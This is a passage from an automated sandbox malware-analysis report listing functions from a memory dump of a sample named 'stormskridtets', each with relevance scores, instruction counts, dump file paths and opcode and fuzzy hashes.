                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: bd1a902cae4cc83c8e68f0eec59903e231517917b0ca45af89a264198e2eb1ff
                                    • Instruction ID: 3f6f0b4453a897a0357deefccbc15f2e6375168d878529096e582c79e1efa6c4
                                    • Opcode Fuzzy Hash: bd1a902cae4cc83c8e68f0eec59903e231517917b0ca45af89a264198e2eb1ff
                                    • Instruction Fuzzy Hash: 1C2290B9B002169FDB09CF58C490AEAB7B2BF89364F14856DD455DB344EB34F942CB90
                                    Function 373F8397 Relevance: .4, Instructions: 380COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: faa353160b9392144af4cf8ea4442cdc28c213bcedf11a9c66235780e78af030
                                    • Instruction ID: 4f2b8219e665c361365f916ae2abbc265bbe6afd9b379fe14add4e95fbba9b4d
                                    • Opcode Fuzzy Hash: faa353160b9392144af4cf8ea4442cdc28c213bcedf11a9c66235780e78af030
                                    • Instruction Fuzzy Hash: 80D1E5B5A00316DBEB08CF64C880BFA73A5FF443A4F054229E919DB290EB35E965DB51
                                    Function 3740D7E0 Relevance: .3, Instructions: 342COMMONLIBRARYCODE
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: dbab09ca41adddff692a32a916cf2c6ac6b32201ee798e0c6b849750eb6c6008
                                    • Instruction ID: 32419907fca987429d0a8baede1f552bbe28f7a0cbf5c4e934a1ff51ba442b8f
                                    • Opcode Fuzzy Hash: dbab09ca41adddff692a32a916cf2c6ac6b32201ee798e0c6b849750eb6c6008
                                    • Instruction Fuzzy Hash: 55C1A2B5A002159BEB14CF58CC48BEEF7B5AF94364F648269D825AB380D774FA45CF80
                                    Function 37488243 Relevance: .3, Instructions: 322COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: c58da6bef63a17e65f3132630e1fabe04f2e2fb92a18dec9866503995c4710af
                                    • Instruction ID: 767e175ecd052622262f27b2999146e6dffa2be67e5ac6cd807545f522c802ef
                                    • Opcode Fuzzy Hash: c58da6bef63a17e65f3132630e1fabe04f2e2fb92a18dec9866503995c4710af
                                    • Instruction Fuzzy Hash: 55B16E79A1060CBFDB14CF95C940AEBBBBEBF84354F50446DA902A7790DA36F905EB10
                                    Function 3741F460 Relevance: .3, Instructions: 321COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: a089c4b27d7f60272fc4847df2ba075a4c6481bc7886f5a4cee5a9100249be1b
                                    • Instruction ID: 57d92a27b693dc68aa6e4ae389bb3c1ecbc9d4d09eeb8f251d89a6609d9c285a
                                    • Opcode Fuzzy Hash: a089c4b27d7f60272fc4847df2ba075a4c6481bc7886f5a4cee5a9100249be1b
                                    • Instruction Fuzzy Hash: 0CC12275A02314CBEB04EF18C4A0BF973A1EB94764F4641A9EC459B3A2DB34F953CB50
                                    Function 37410535 Relevance: .3, Instructions: 300COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: c61ad9210afadd02b75b489723f8fea184d45ce3a0816f7da46b339e1a5f1bc9
                                    • Instruction ID: aea82f0cb0e764ac900ef434332f16cd49197c360329fc7408ca9ff9c9ee06cf
                                    • Opcode Fuzzy Hash: c61ad9210afadd02b75b489723f8fea184d45ce3a0816f7da46b339e1a5f1bc9
                                    • Instruction Fuzzy Hash: 84B13175600749AFEB11DBA8C850BFEBBB6AF88314F100558E5519B391DB34FE42CB90
                                    Function 374083C0 Relevance: .3, Instructions: 281COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 613c5f63e9f5e8f1b464a17551cbb3dcade07fdb108101a25fcd4f2f418858b6
                                    • Instruction ID: e3dfcfb3391786f2337a8aa2bacf274012fad68bec59ab1fde7c086f119c7809
                                    • Opcode Fuzzy Hash: 613c5f63e9f5e8f1b464a17551cbb3dcade07fdb108101a25fcd4f2f418858b6
                                    • Instruction Fuzzy Hash: B8C136741083808FE764CF15C494BAAB7E9BF88348F41496DE98987390EB74E909CF92
                                    Function 373FC427 Relevance: .3, Instructions: 280COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: db86f2bf8064aa2fd24133dcbc0dc853e6ff8e0387e505e0073fa7597619edb7
                                    • Instruction ID: bef5e383cf50f6d04636bfff6128edcf3d7f1b621f24fdf1f66e6919000071dd
                                    • Opcode Fuzzy Hash: db86f2bf8064aa2fd24133dcbc0dc853e6ff8e0387e505e0073fa7597619edb7
                                    • Instruction Fuzzy Hash: 97B160B4A402658BEB24CF65C890BB9B3F5EF84790F4085E9D54EE7240EB35AD85CF21
                                    Function 374D4500 Relevance: .3, Instructions: 275COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 4cc8a3b93ba42c91c6a937097dd11dd49dee941da8eb28252ba492b371c98a06
                                    • Instruction ID: f46e14cb7b971e78b634dddcc8a3b70f5203b669955bae61de275bc78de37dec
                                    • Opcode Fuzzy Hash: 4cc8a3b93ba42c91c6a937097dd11dd49dee941da8eb28252ba492b371c98a06
                                    • Instruction Fuzzy Hash: 9CA1ABB6A00651AFD701CF18D990B9AF7E9FF88394F41092CF9899B651D738F901CB92
                                    Function 3741E3F0 Relevance: .3, Instructions: 261COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: adcd75db29958539f9fc0dd60d16d221e2f6ba3dd5e8c2532defc11d2824befc
                                    • Instruction ID: 77e0348535ab9793c9a05b66b7889e0a1b9a2755c88fc5ac44a8600a1bca6d4e
                                    • Opcode Fuzzy Hash: adcd75db29958539f9fc0dd60d16d221e2f6ba3dd5e8c2532defc11d2824befc
                                    • Instruction Fuzzy Hash: FD910579A00725CBE710EB68C494BFEB7A1EF84765F018569E845DB340EB38F942CB52
                                    Function 37409486 Relevance: .3, Instructions: 259COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 2e21990a84fd40de08992f25f6034d441e6c383cb4e826cd3fb10c77e256d963
                                    • Instruction ID: f8593baec629572688e4c660dd722d188175d647d9d997e60c88f71e9ef33b4f
                                    • Opcode Fuzzy Hash: 2e21990a84fd40de08992f25f6034d441e6c383cb4e826cd3fb10c77e256d963
                                    • Instruction Fuzzy Hash: AAB12AB99043059FDB14CF19D481BE9B7F0BB48368F51496AD825AB391DB39F842CFA0
                                    Function 374BB52F Relevance: .2, Instructions: 222COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 14aa7f2389c0c2f4a5e39dfbb016f189343e77270b8e137ddafeb974bf5cdc5c
                                    • Instruction ID: 5fd335bb0597a797cf09245e13f74ad7dbd27168953c667cbd1449c6b3d27313
                                    • Opcode Fuzzy Hash: 14aa7f2389c0c2f4a5e39dfbb016f189343e77270b8e137ddafeb974bf5cdc5c
                                    • Instruction Fuzzy Hash: 45719279A0021A9BDF20CE69C890AFEB7F5AF44790F55455AE880AB240E734FD51CFB1
                                    Function 3743E284 Relevance: .2, Instructions: 212COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: cf1dbb8e18079f0ff6842bc0056cdb4071b4dd6aa3d63ed119f536e73f35c638
                                    • Instruction ID: c8ba1e3e8ff925aa617bab8758f0e511a61860319cab573b41587ca4d6497cd2
                                    • Opcode Fuzzy Hash: cf1dbb8e18079f0ff6842bc0056cdb4071b4dd6aa3d63ed119f536e73f35c638
                                    • Instruction Fuzzy Hash: A1817775A02659EFEB11CBA5C880BDABBBAFF88750F10442DE459A7250DB34BC15CB60
                                    Function 3741C640 Relevance: .2, Instructions: 206COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 41c3e706def8c1f4efce7ccc8ea98a031ba88e796c9561f8099d4e438ea03a6b
                                    • Instruction ID: 2423dd61c071226a1602ef5ca29cab88e7dc827e2d14e98ae5109a773ba202aa
                                    • Opcode Fuzzy Hash: 41c3e706def8c1f4efce7ccc8ea98a031ba88e796c9561f8099d4e438ea03a6b
                                    • Instruction Fuzzy Hash: B271CCB88042269BDB21CF58C8917EEBBF4FF58714F10851AE961AB350D774B811CBA0
                                    Function 3741260B Relevance: .2, Instructions: 201COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 575a77bde3fabc2d509bac945b971659a9edfd217451353f96532f72faa7e7ee
                                    • Instruction ID: ae67ae0a72af79214cbe57c3873abff783bb01490eeab5b38eaa4a7a13fe53c7
                                    • Opcode Fuzzy Hash: 575a77bde3fabc2d509bac945b971659a9edfd217451353f96532f72faa7e7ee
                                    • Instruction Fuzzy Hash: 9371A0757046419FD301DF28C484BA6B7E5FF88314F0585AAE898CB355DB38F846CBA2
                                    Function 3748035C Relevance: .2, Instructions: 198COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: f01f26b9d4523bb8af8d0dc1087c2bf1dc413617a4b2b84ce5c3b8fc37ed168b
                                    • Instruction ID: 6a8f65b13d3367191b1e1c44037d64d55888b135af50fefc75828da8f6585816
                                    • Opcode Fuzzy Hash: f01f26b9d4523bb8af8d0dc1087c2bf1dc413617a4b2b84ce5c3b8fc37ed168b
                                    • Instruction Fuzzy Hash: 85714A71A10619EFDB10DFA9C984AEEBBB9FF88700F104569E505A7250EB35FA41CB90
                                    Function 374C132D Relevance: .2, Instructions: 188COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 851de3c330f9f53ded1c4c8c6f9c983d67dafe7f4a8c87a4307219ed44cc0685
                                    • Instruction ID: 177c768c03b029f4c8b10eef19036f19291de74937f7cd9fd34722d598ff8ed8
                                    • Opcode Fuzzy Hash: 851de3c330f9f53ded1c4c8c6f9c983d67dafe7f4a8c87a4307219ed44cc0685
                                    • Instruction Fuzzy Hash: 798150B5A00246DFDB09CF58C490AAEB7F1FF88310F1581A9D859EB355D734EA51CB90
                                    Function 3743B570 Relevance: .2, Instructions: 161COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: a35d0ead993e0e8d188b047d784425c2d3fa985bd191addaf12899aa3db3b2ca
                                    • Instruction ID: 22e27f12ab59be509aa22ec9855765983e5da5b45e27693edb82c9928323a07f
                                    • Opcode Fuzzy Hash: a35d0ead993e0e8d188b047d784425c2d3fa985bd191addaf12899aa3db3b2ca
                                    • Instruction Fuzzy Hash: 2851A1B15042409FE321DF64C981FEB77A8EF85764F50062DF921A7291DB38F861DBA2
                                    Function 3747D5D0 Relevance: .2, Instructions: 161COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 421d61e5bc4c825cfb3b344d513b1230fd482de7481e25e13c6dc44851e8f620
                                    • Instruction ID: d9b664d8bc2e94f2fee2619e5bf427db48c3d8e11bfd6465ddc5613a0b5f7948
                                    • Opcode Fuzzy Hash: 421d61e5bc4c825cfb3b344d513b1230fd482de7481e25e13c6dc44851e8f620
                                    • Instruction Fuzzy Hash: 4551DBB56107829BDB009F648C40AFB77E5EFD8290F44442DF954EB250E734F856DBA2
                                    Function 374295DA Relevance: .2, Instructions: 160COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: f11b44f3c4d4186011af52f900a075f68a5b61d25358f8a87b23a906406e174c
                                    • Instruction ID: 3deab0d334c1747d31981253ba56de8b06c5664cb3b3e25a8b0fd49d3a0da48d
                                    • Opcode Fuzzy Hash: f11b44f3c4d4186011af52f900a075f68a5b61d25358f8a87b23a906406e174c
                                    • Instruction Fuzzy Hash: 66519970900308AFEB218FA4CC80BEDBBB8EF45344F60442EE594B7291EB75A815EF55
                                    Function 37413740 Relevance: .2, Instructions: 159COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 605ff1be29f1a140a66c523d70c36901c9bf158d06eece582399db8fc6f93228
                                    • Instruction ID: 5e8f21ce6f73d0de32ce55230a1f0cc0d664d2ea15d9d3e0adc850624595254b
                                    • Opcode Fuzzy Hash: 605ff1be29f1a140a66c523d70c36901c9bf158d06eece582399db8fc6f93228
                                    • Instruction Fuzzy Hash: 8451CF79A006569FD311DF68C4807A9B7B0FF49720F0186A9E854DB740EB34F996C7D0
                                    Function 3743E443 Relevance: .2, Instructions: 158COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 6c230d40b95cbc2b5a7a1e3f210751d8531aa4a47d7b9a2f7ff7f7c131f9f30c
                                    • Instruction ID: ca2b3491844ed51a6ea4b66b7e2933a1848cde56dfd0428af96ddf8dc4bfa49d
                                    • Opcode Fuzzy Hash: 6c230d40b95cbc2b5a7a1e3f210751d8531aa4a47d7b9a2f7ff7f7c131f9f30c
                                    • Instruction Fuzzy Hash: AF519A72241A54DFE721DFA4C980FDAB3B9FF48790F41082AE51997260EB38F951CB51
                                    Function 374245B1 Relevance: .2, Instructions: 156COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 0d00e1a585e90d849ff2aa0c284c489e35fe4af6d50ef2092e2439a8439fa3dd
                                    • Instruction ID: e3ab6e72b850f5a70d7b61edb3509f35fb6963dec4898c53c424bb5c324889af
                                    • Opcode Fuzzy Hash: 0d00e1a585e90d849ff2aa0c284c489e35fe4af6d50ef2092e2439a8439fa3dd
                                    • Instruction Fuzzy Hash: 43517B75E00209AFDB05DB98D440BEEBBB5EF84354F10406AE910AB240EB78ED55DBA1
                                    Function 374CD26B Relevance: .2, Instructions: 153COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: e34a641792a2e79be6bf0067dfbea21fe876c0422c27924c31e583a14ba6783b
                                    • Instruction ID: 6ad28abbeb6d5e16349fa00ee514cb1841c661bac7499cac9195e17f6a889007
                                    • Opcode Fuzzy Hash: e34a641792a2e79be6bf0067dfbea21fe876c0422c27924c31e583a14ba6783b
                                    • Instruction Fuzzy Hash: 00513A79608342AFD700CF68C880B9AB7E5BBC8354F04896DF9949B391D734F945CB56
                                    Function 3743F71F Relevance: .1, Instructions: 143COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 657bb2b9d021b413a875b4c5c1a7b942c0de544e1bf6089b1de9a23e1ec31960
                                    • Instruction ID: fdccbaa94c5111e1e3a3f00ac966bc11462f471fcf46268d32bb30aa1dfd61fe
